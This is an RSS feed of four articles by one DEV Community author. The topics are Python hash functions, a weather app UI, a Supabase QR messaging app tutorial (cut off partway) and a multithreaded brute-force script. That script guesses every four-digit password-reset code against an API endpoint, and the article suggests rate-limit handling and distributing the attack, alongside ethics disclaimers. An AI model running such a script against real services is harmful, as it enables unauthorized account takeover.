<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Mihai</title>
    <description>The latest articles on DEV Community by Mihai (@mihairs).</description>
    <link>https://dev.to/mihairs</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1014054%2Fbee25580-ed6c-4235-8853-6cfd16da40f3.jpg</url>
      <title>DEV Community: Mihai</title>
      <link>https://dev.to/mihairs</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/mihairs"/>
    <language>en</language>
    <item>
      <title>Exploring Hash Functions in Python: Distribution, Collisions, and Performance</title>
      <dc:creator>Mihai</dc:creator>
      <pubDate>Sun, 20 Oct 2024 14:31:40 +0000</pubDate>
      <link>https://dev.to/mihairs/exploring-hash-functions-in-python-distribution-collisions-and-performance-735</link>
      <guid>https://dev.to/mihairs/exploring-hash-functions-in-python-distribution-collisions-and-performance-735</guid>
      <description>&lt;p&gt;This script demonstrates different hash functions and tests how they distribute elements in a hash table. It includes functions for measuring distribution, collisions, execution time, and sensitivity to minor changes.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Simple Hash Function (&lt;code&gt;simple_hash&lt;/code&gt;):&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This hash function sums the ASCII values of each character in the input string and then takes the result modulo the table size. It's a basic form of hashing and can lead to poor distribution.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def simple_hash(input_str, table_size):
    hash_value = 0
    for char in input_str:
        hash_value += ord(char)
    return hash_value % table_size
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Polynomial Hash (&lt;code&gt;polynomial_hash&lt;/code&gt;):&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Uses a polynomial accumulation of ASCII values, with a prime number (default is 31) to give more weight to characters earlier in the string.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def polynomial_hash(input_str, table_size, prime=31):
    hash_value = 0
    for i, char in enumerate(input_str):
        hash_value += ord(char) * (prime ** i)
    return hash_value % table_size
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;FNV-1a Hash (&lt;code&gt;fnv1a_hash&lt;/code&gt;):&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A 32-bit version of the FNV-1a hash, which multiplies and XORs the input characters using constants to generate a hash value. It's commonly used for its good distribution characteristics.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def fnv1a_hash(key, table_size):
    FNV_prime = 16777619
    FNV_offset_basis = 2166136261
    hash_value = FNV_offset_basis
    for char in key:
        hash_value ^= ord(char)
        hash_value *= FNV_prime
        hash_value &amp;amp;= 0xffffffff  # Ensure 32-bit hash
    return hash_value % table_size

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;XXHash (&lt;code&gt;xx_hash&lt;/code&gt;):&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Utilizes the xxhash library to compute a fast, non-cryptographic hash. It’s very efficient for large datasets.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def xx_hash(input_str, table_size):
    return xxhash.xxh32(input_str).intdigest() % table_size

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;SipHash (&lt;code&gt;sip_hash&lt;/code&gt;):&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Uses the hmac library to wrap the input string with a secret key and apply the sha256 hash function. This can provide security, though it's slower than non-cryptographic hashes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def sip_hash(input_str, table_size, key=b'secretkey'):
    hash_value = hmac.new(key, input_str.encode(), digestmod='sha256').hexdigest()
    return int(hash_value, 16) % table_size
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;MurmurHash (&lt;code&gt;murmur_hash&lt;/code&gt;):&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A fast, non-cryptographic hash function using the mmh3 library. It's widely used in hash tables and bloom filters.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def murmur_hash(input_str, table_size):
    hash_value = mmh3.hash(input_str) % table_size
    return hash_value
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Generating Random Strings (&lt;code&gt;generate_random_strings&lt;/code&gt;):
&lt;/h3&gt;

&lt;p&gt;This function generates a list of random alphanumeric strings of a specified length. It's used for testing the hash functions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def generate_random_strings(n, length=12):
    random_strings = []
    for _ in range(n):
        random_str = ''.join(random.choices(string.ascii_letters + string.digits, k=length))
        random_strings.append(random_str)
    return random_strings
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Printing the Distribution (&lt;code&gt;pretty_print_distribution&lt;/code&gt;):
&lt;/h3&gt;

&lt;p&gt;Displays how many elements are present in each location of the hash table, giving insight into the distribution and potential collisions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def pretty_print_distribution(distribution):
    print("Element distribution in the table:")
    for num_elements, count in sorted(distribution.items()):
        print(f"  Locations with {num_elements} element(s): {count}")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Testing Distribution and Collisions &lt;code&gt;(test_distribution_and_collisions)&lt;/code&gt;:
&lt;/h3&gt;

&lt;p&gt;This function evaluates how well a hash function distributes a set of elements across the hash table. It checks for collisions and calculates the final distribution.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def test_distribution_and_collisions(hash_func, table_size, num_elements):
    hash_table = [0] * table_size
    elements = generate_random_strings(num_elements)
    collisions = 0
    for elem in elements:
        hash_index = hash_func(elem, table_size)
        if hash_table[hash_index] != 0:
            collisions += 1
        hash_table[hash_index] += 1
    distribution = collections.Counter(hash_table)
    print(f"Total number of collisions: {collisions}")
    pretty_print_distribution(distribution)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Testing Execution Time (&lt;code&gt;test_execution_time&lt;/code&gt;):
&lt;/h3&gt;

&lt;p&gt;Measures the time it takes to apply a hash function to a set of elements, helping compare performance between different hash functions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def test_execution_time(hash_func, table_size, num_elements):
    elements = generate_random_strings(num_elements)
    start_time = time.time()
    for elem in elements:
        hash_func(elem, table_size)
    end_time = time.time()
    execution_time = end_time - start_time
    print(f"Total execution time for {num_elements} elements: {execution_time:.6f} seconds")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Testing Sensitivity to Minor Changes (&lt;code&gt;test_sensitivity&lt;/code&gt;):
&lt;/h3&gt;

&lt;p&gt;This function checks whether the hash function is sensitive to small changes in input. It compares the hash values of two very similar strings.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def test_sensitivity(hash_func, table_size):
    original_str = "example"
    modified_str = "exampLe"  # Changing a single character
    original_hash = hash_func(original_str, table_size)
    modified_hash = hash_func(modified_str, table_size)
    print(f"Original hash for '{original_str}': {original_hash}")
    print(f"Modified hash for '{modified_str}': {modified_hash}")
    if original_hash != modified_hash:
        print("The hash function is sensitive to small changes.")
    else:
        print("The hash function is NOT sensitive to small changes.")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
    </item>
    <item>
      <title>Understanding a Multithreaded Brute-Force Password Attack in Python</title>
      <dc:creator>Mihai</dc:creator>
      <pubDate>Sun, 20 Oct 2024 14:19:15 +0000</pubDate>
      <link>https://dev.to/mihairs/understanding-a-multithreaded-brute-force-password-attack-in-python-28lc</link>
      <guid>https://dev.to/mihairs/understanding-a-multithreaded-brute-force-password-attack-in-python-28lc</guid>
      <description>&lt;p&gt;This article explains a Python script designed to perform a brute-force password attack using multithreading. The code automates the process of attempting numerous password combinations on a web service until the correct password is discovered. Let’s break down the key components, the purpose of the code, and the ethical implications of using such methods.&lt;/p&gt;

&lt;p&gt;Purpose of the Code&lt;br&gt;
The primary purpose of this script is to brute-force the password reset validation code by trying every possible numeric password within a specified range. The goal is to exploit an API endpoint to reset a password by guessing the correct four-digit validation code. Brute-forcing involves systematically attempting every combination until the correct one is found.&lt;/p&gt;

&lt;p&gt;This code utilizes multithreading to increase the speed of password attempts by sending multiple requests concurrently.&lt;/p&gt;

&lt;p&gt;Key Components&lt;br&gt;
Libraries Used:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;requests&lt;/code&gt;: Used to send HTTP requests to the target server.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;itertools.product&lt;/code&gt;: Generates combinations (though not used in the final version, but useful for larger brute-force strategies).
string: Provides string constants (again, useful for generating alphabetic passwords).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;time&lt;/code&gt; : Adds delays between requests to avoid overwhelming the server.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;concurrent.futures.ThreadPoolExecutor&lt;/code&gt;: Allows multiple threads to run concurrently, improving brute-forcing efficiency.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Password Generation: The script focuses on generating four-digit numeric passwords, ranging from &lt;code&gt;0000&lt;/code&gt; to &lt;code&gt;9999&lt;/code&gt;. This approach can be easily expanded for more complex password sets, such as alphanumeric combinations.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Password Guessing Strategy&lt;/code&gt;: The function generate_wrapped_passwords is structured to prioritize certain ranges of passwords. It starts from 5000-9999, followed by 0000-4999. This approach might be helpful if some passwords are more likely to fall in a specific range.&lt;/p&gt;
&lt;h2&gt;
  
  
  Ethical and Legal Considerations
&lt;/h2&gt;

&lt;p&gt;It's important to understand that brute-force attacks are illegal and unethical unless you have explicit permission to test the security of a system, such as in the context of a penetration test or bug bounty program. Attempting to brute-force passwords without authorization can lead to severe legal consequences, including criminal charges.&lt;/p&gt;

&lt;p&gt;The script provided here should be used only in ethical hacking environments where you have permission to test the system’s security, such as during security audits or testing your own applications.&lt;/p&gt;
&lt;h2&gt;
  
  
  Improvements and Modifications
&lt;/h2&gt;

&lt;p&gt;While the current script is functional, several improvements can be made:&lt;/p&gt;
&lt;h3&gt;
  
  
  Larger Password Spaces:
&lt;/h3&gt;

&lt;p&gt;If the password is alphanumeric or longer than four digits, the script could be modified to include letters and symbols. The &lt;code&gt;itertools.product()&lt;/code&gt; function could be useful here for generating a larger set of password combinations.&lt;/p&gt;
&lt;h3&gt;
  
  
  Rate Limiting Detection:
&lt;/h3&gt;

&lt;p&gt;Servers often implement rate-limiting to detect brute-force attempts. It would be beneficial to include rate-limit handling, such as detecting the HTTP response status code (e.g., 429 for "Too Many Requests") and adjusting the frequency of requests.&lt;/p&gt;
&lt;h3&gt;
  
  
  Better Error Handling:
&lt;/h3&gt;

&lt;p&gt;The script could be improved with more robust error handling. If the server returns unexpected responses or if network errors occur, the script could pause or retry after some time instead of failing silently.&lt;/p&gt;
&lt;h3&gt;
  
  
  Distributed Brute-Force:
&lt;/h3&gt;

&lt;p&gt;For very large password spaces, the brute-force could be distributed across multiple machines or servers to speed up the process further.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import requests
from itertools import product
import string
import time
from concurrent.futures import ThreadPoolExecutor

# Define the target URL
url = "&amp;lt;url&amp;gt;"  # Change this to your URL

# Define character set to brute force passwords (numeric in this case)
password_length = 4  # For a 4-digit numeric password like "0001", "0002", ...

# Function to send request with the generated password
def send_request(password):
    # Payload to send in request
    data = {
        "validationCode": str(password)
    }

    # Send the POST request to the authorization layer
    try:
        response = requests.patch(url, data=data)

        # Check response
        if response.status_code == 200:
            print(f"Success! Password found: {password}")
            return True
        else:
            print(f"Failed attempt with password: {password}")

        # Delay to avoid overwhelming the server or being rate-limited
        time.sleep(0.1)

    except requests.exceptions.RequestException as e:
        print(f"Error occurred: {e}")

    return False

# Generate numeric passwords (from 0000 to 9999 for length 4)
def generate_wrapped_passwords(length):
    # First phase: from 5000 to 9999
    for number in range(5000, 10**length):
        yield str(number).zfill(length)

    # Second phase: from 0000 to 4999
    for number in range(0, 5000):
        yield str(number).zfill(length)


# Multithreaded brute-force attempt
def multithread_brute_force(password_length, max_threads=10):
    with ThreadPoolExecutor(max_workers=max_threads) as executor:
        # Generate all passwords and submit them to the thread pool for execution
        passwords = generate_wrapped_passwords(password_length)
        futures = [executor.submit(send_request, password) for password in passwords]

        # Check the results as they complete
        for future in futures:
            if future.result():
                # Stop further attempts once a password is found
                executor.shutdown(wait=False)
                break

# Run the brute force attack using multithreading
if __name__ == "__main__":
    multithread_brute_force(password_length, max_threads=20)  # Adjust max_threads for concurrency

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This script illustrates a brute-force attack designed to guess a validation code by trying every possible numeric combination. The use of multithreading greatly increases the efficiency of the attack by allowing many attempts to happen simultaneously. However, the ethical and legal implications of such a technique cannot be overstated — unauthorized brute-force attacks are illegal. Always ensure you have proper permissions before testing the security of any system.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Weather Application UI Concept</title>
      <dc:creator>Mihai</dc:creator>
      <pubDate>Sun, 20 Oct 2024 13:50:16 +0000</pubDate>
      <link>https://dev.to/mihairs/weather-application-ui-concept-3m67</link>
      <guid>https://dev.to/mihairs/weather-application-ui-concept-3m67</guid>
      <description>&lt;p&gt;The first thing you’ll see when you open this weather app is a beautifully clean main screen showing today’s weather with all the important details front and center. It’s like a weather snapshot: temperature, location, and an easy-to-understand weather icon (sun, rain, snow—you get it). The style? Modern, minimal, and super user-friendly.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Header: Where Am I, and What Time Is It?
&lt;/h2&gt;

&lt;p&gt;At the top, you’ll find your city and country displayed proudly. Not where you are? No worries, there's a cute little search icon for quick location changes. Right under that, the current date and time keep you on track.&lt;/p&gt;

&lt;h2&gt;
  
  
  Weather Icon &amp;amp; Temperature: Big and Bold
&lt;/h2&gt;

&lt;p&gt;The weather icon is front and center—big, bright, and dynamic. Whether it’s sunny or stormy, you’ll see it clearly. Next to it is the temperature, in large, bold numbers, so you can’t miss it. Fahrenheit or Celsius? Your choice.&lt;/p&gt;

&lt;p&gt;Underneath, a little text gives you the vibe of the day: "Sunny," "Cloudy," or whatever nature’s got in store.&lt;/p&gt;

&lt;h2&gt;
  
  
  Extra Weather Goodies
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Humidity: Don’t sweat it—humidity is shown as a percentage (e.g., 65%).&lt;/li&gt;
&lt;li&gt;Wind Speed: Gentle breeze or windstorm? Check the speed in km/h or mph.&lt;/li&gt;
&lt;li&gt;Feels Like: Sometimes 28°C doesn’t feel like 28°C. This handy feature tells you how it really feels out there.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Hourly Forecast: What’s Next?
&lt;/h2&gt;

&lt;p&gt;Need to know what the next few hours look like? No problem! Swipe through sleek, scrollable cards showing the forecast hour by hour. &lt;/p&gt;

&lt;p&gt;Each card gives you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Time: A simple display of the hour (12 PM, 1 PM).&lt;/li&gt;
&lt;li&gt;Weather Icon: Tiny icons for a quick glance at conditions.&lt;/li&gt;
&lt;li&gt;Temperature: Right below the icon, you’ll see the hourly temps.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Daily Forecast: Plan the Week
&lt;/h2&gt;

&lt;p&gt;Scroll down a bit more, and voila! A 7-day weather outlook awaits. Here’s what you get:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Day Names: Easy-to-read labels like Mon, Tue, Wed.&lt;/li&gt;
&lt;li&gt;Icons: Visual weather hints—sun, cloud, rain, or snow.&lt;/li&gt;
&lt;li&gt;Max/Min Temps: The hottest and coolest moments of each day.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This weather app UI is all about giving you everything you need—right at your fingertips, with a design that’s as smooth as the forecast you’re checking!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Building a QR-Driven Driver Communication App with Supabase: A Step-by-Step Guide to Clone Sticar - Part 1</title>
      <dc:creator>Mihai</dc:creator>
      <pubDate>Fri, 04 Oct 2024 17:25:14 +0000</pubDate>
      <link>https://dev.to/mihairs/building-a-qr-driven-driver-communication-app-with-supabase-a-step-by-step-guide-to-clone-sticar-part-1-3po9</link>
      <guid>https://dev.to/mihairs/building-a-qr-driven-driver-communication-app-with-supabase-a-step-by-step-guide-to-clone-sticar-part-1-3po9</guid>
      <description>&lt;p&gt;In this article, you will learn how to build an application with supabase as a firebase alternative in order to build &lt;a href="https://sticar.app" rel="noopener noreferrer"&gt;Sticar&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To keep the project simple, we'll develop a web application using NextJS. Additionaly, by leveraging FCM(Firebase Cloud Message) we'll  deliver notifications directly to the user without requiring them to install any app.&lt;/p&gt;

&lt;h2&gt;
  
  
  Requirements :
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Create a &lt;a href="https://supabase.com" rel="noopener noreferrer"&gt;supabase&lt;/a&gt; project&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Create a Next.js app
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Use the create-next-app command and the with-supabase template, to create a Next.js app pre-configured with:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npx create-next-app -e with-supabase
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Declare Supabase Environment Variables
&lt;/h2&gt;

&lt;p&gt;Rename &lt;code&gt;.env.example&lt;/code&gt; to &lt;code&gt;.env&lt;/code&gt; and populate with your &lt;br&gt;
project's URL and Anon Key.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NEXT_PUBLIC_SUPABASE_URL=your-project-url
NEXT_PUBLIC_SUPABASE_ANON_KEY=your-anon-key
DATABASE_URL=your-database-url-used-by-drizzle-orm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Start the app
&lt;/h2&gt;

&lt;p&gt;Using &lt;code&gt;npm run dev&lt;/code&gt; will trigger a script to start the development server. &lt;br&gt;
Authenticate with the mail that you registered on supabase and you should be able to receive an email, confirm the account and sign in !&lt;/p&gt;
&lt;h2&gt;
  
  
  Creating our first SQL Table
&lt;/h2&gt;

&lt;p&gt;Instead of creating an SQL table with Supabase - SQL Editor, we'll be using Drizzle ORM. It's an easy way to generate and migrate your sql schema.&lt;/p&gt;
&lt;h3&gt;
  
  
  Drizzle Kit
&lt;/h3&gt;

&lt;p&gt;Drizzle Kit — is a CLI companion for automatic SQL migrations generation and rapid prototyping.&lt;/p&gt;

&lt;p&gt;Conceptually it’s very simple, you just declare a Drizzle ORM TypeScript schema and generate an SQL migration from it.&lt;/p&gt;

&lt;p&gt;Stop the server and install the module using &lt;code&gt;yarn add -D drizzle-kit&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Moreover, we'll need to install &lt;code&gt;drizzle-orm&lt;/code&gt;, &lt;code&gt;postgres&lt;/code&gt; and &lt;code&gt;dotenv&lt;/code&gt; package as well by using &lt;code&gt;yarn add drizzle-orm dotenv postgres&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Create &lt;code&gt;drizzle.config.ts&lt;/code&gt; at the root of the project folder. This file will be used by &lt;code&gt;drizzle-kit&lt;/code&gt; to generate the migrations based on our schema files.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dotenv&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;defineConfig&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;drizzle-kit&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;.env.local&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nf"&gt;defineConfig&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;schema&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./utils/drizzle/schema.ts&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./supabase/migrations&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;dialect&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;postgresql&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;dbCredentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DATABASE_URL&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next step is to create under &lt;code&gt;utils&lt;/code&gt; folder a new folder called &lt;code&gt;drizzle&lt;/code&gt; with a file named &lt;code&gt;schema.ts&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In the &lt;code&gt;schema.ts&lt;/code&gt; file we will export the schemas and be consumed by the drizzle-kit.&lt;/p&gt;

&lt;p&gt;For this example we will have 3 tables : &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;QRCodes

&lt;ul&gt;
&lt;li&gt;The user will be able to generate an unique QR Code and link it to an asset.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Assets

&lt;ul&gt;
&lt;li&gt;The user can define the type of the asset (vehicle, bag, property)&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Messages

&lt;ul&gt;
&lt;li&gt;We will store the message received from sender and link it to the receiver.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;Asset Management
The schema includes a table for &lt;code&gt;assets&lt;/code&gt; (Assets), which represent physical items like vehicles, properties, or bags that users want to link with QR codes.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;Asset Types&lt;/code&gt;: The application supports different asset categories such as vehicles, properties, and bags. This is done using an enumeration (enum), ensuring only predefined types can be assigned to an asset.&lt;br&gt;
&lt;code&gt;Assets Table&lt;/code&gt;: Each asset has a unique ID (&lt;code&gt;id&lt;/code&gt;), belongs to a user (&lt;code&gt;userId&lt;/code&gt;), and can be associated with a QR code (&lt;code&gt;qrCodeId&lt;/code&gt;). The table also stores a description (&lt;code&gt;assetDescription&lt;/code&gt;) of the asset and a creation timestamp (&lt;code&gt;createdAt&lt;/code&gt;).&lt;br&gt;
This structure allows the system to track which assets belong to which users, and to link them to QR codes.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;QR Codes Management
QR codes are crucial for this project as they allow users to scan and interact with the asset owner without intermediaries.&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;QR Code Table: Each QR code has a unique identifier (&lt;code&gt;id&lt;/code&gt;) and is linked to an asset (&lt;code&gt;assetId&lt;/code&gt;). The table tracks whether the QR code is currently active (&lt;code&gt;isActive&lt;/code&gt;), when it was assigned to the asset (assignedAt), and the time it was last scanned (&lt;code&gt;lastScannedAt&lt;/code&gt;).&lt;br&gt;
By managing these QR codes independently, the system can store and update QR codes without deleting them, even if they are no longer in active use. This is essential for printed codes that cannot be easily replaced.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;QR Code Status: The QR codes have statuses such as active or inactive, helping to indicate whether the code is currently usable or has been replaced.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;User Messaging System
The schema also includes a messaging feature, allowing users to communicate directly with the owner of the asset after scanning a QR code.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Messages Table: When a user scans a QR code and sends a message, it’s logged in the Messages table. Each message includes the sender’s user ID (&lt;code&gt;senderUserId&lt;/code&gt;), the receiver’s user ID (&lt;code&gt;receiverUserId&lt;/code&gt;), the asset it relates to (&lt;code&gt;assetId&lt;/code&gt;), and the content of the message (&lt;code&gt;messageContent&lt;/code&gt;). The table also records when the message was created (&lt;code&gt;createdAt&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;This system facilitates direct communication between the scanning user and the asset owner, which is essential for scenarios like road emergencies or parking situations.&lt;/p&gt;

&lt;p&gt;Schema File&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;pgTable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;uuid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;pgEnum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;serial&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;integer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;drizzle-orm/pg-core&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kr"&gt;enum&lt;/span&gt; &lt;span class="nx"&gt;AssetType&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
